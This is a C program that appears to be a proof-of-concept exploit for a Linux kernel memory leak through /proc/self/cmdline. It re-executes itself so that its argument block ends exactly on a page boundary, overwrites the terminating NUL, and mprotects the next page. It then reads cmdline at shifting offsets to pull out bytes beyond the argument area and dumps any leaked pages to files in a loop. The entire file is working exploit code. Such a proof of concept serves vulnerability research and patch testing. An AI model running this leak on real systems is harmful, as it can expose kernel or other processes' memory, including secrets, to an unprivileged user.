#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

#define PAGE_SIZE 4096

#define CHECK(expr) \
  ({ \
    long r = (expr); \
    if (r < 0) { \
      perror(#expr); \
      exit(1); \
    } \
    r; \
  })

static void dump(unsigned char *page, size_t ind) {
    char fname[30];
    sprintf(fname, "page%zu", ind);
    printf("dumping %s\n", fname);
    int fd = CHECK(open(fname, O_CREAT|O_TRUNC|O_WRONLY, 0666));
    CHECK(write(fd, page, PAGE_SIZE));
    close(fd);
}

int main(int argc, char *argv[], char *envp[]) {
    char *last_arg_nul = argv[argc - 1] + strlen(argv[argc - 1]);
    printf("last arg end: %p\n", last_arg_nul);
    size_t argv_size = last_arg_nul - argv[0] + 1;
    size_t page_offset = (uintptr_t)last_arg_nul & (PAGE_SIZE - 1);
    if (page_offset != PAGE_SIZE - 1 || argv_size < PAGE_SIZE - 1) {
        printf("will re-exec to arrange argv\n");
        if (page_offset != PAGE_SIZE - 1) {
            /* Pad env block so that the last byte of arg block is also
             * the last byte of its page. */
            size_t env0_size = page_offset + 1 + strlen(envp[0]) + 1;
            char *new_env = malloc(env0_size);
            memset(new_env, 'Z', env0_size - 1);
            new_env[env0_size - 1] = '\0';
            envp[0] = new_env;
        }
        char *path = argv[0];
        if (argv_size < PAGE_SIZE) {
          /* Also make sure that arg block is not shorter than a page. */
          argv[0] = (char[]){[0 ... PAGE_SIZE - 1] = 'Z', '\0'};
        }
        execve(path, argv, envp);
        perror("execve");
        return 127;
    }

    *last_arg_nul = 'Z';
    /* Make sure the kernel can't read past arg_end. */
    CHECK(mprotect(last_arg_nul + 1, PAGE_SIZE, PROT_NONE));

    char buf[PAGE_SIZE];
    unsigned char leaked[PAGE_SIZE] = {'U'};
    unsigned num_good = 0;
    int fd = CHECK(open("/proc/self/cmdline", O_RDONLY));
    while (1) {
        int found_good = 0;
        for (size_t off = 1; off < PAGE_SIZE; ++off) {
            CHECK(lseek(fd, argv_size - off, SEEK_SET));
            ssize_t got = CHECK(read(fd, buf, sizeof buf));
            if (got <= off) {
                printf("no leak: kernel seems to be fixed\n");
                return 1;
            }
            unsigned char leaked_byte = buf[got - 1];
            found_good |= (leaked_byte && leaked_byte != 'Z');
            leaked[off] = leaked_byte;
        }
        if (found_good)
            dump(leaked, num_good++);
        sleep(1);
    }

    close(fd);
    return 0;
}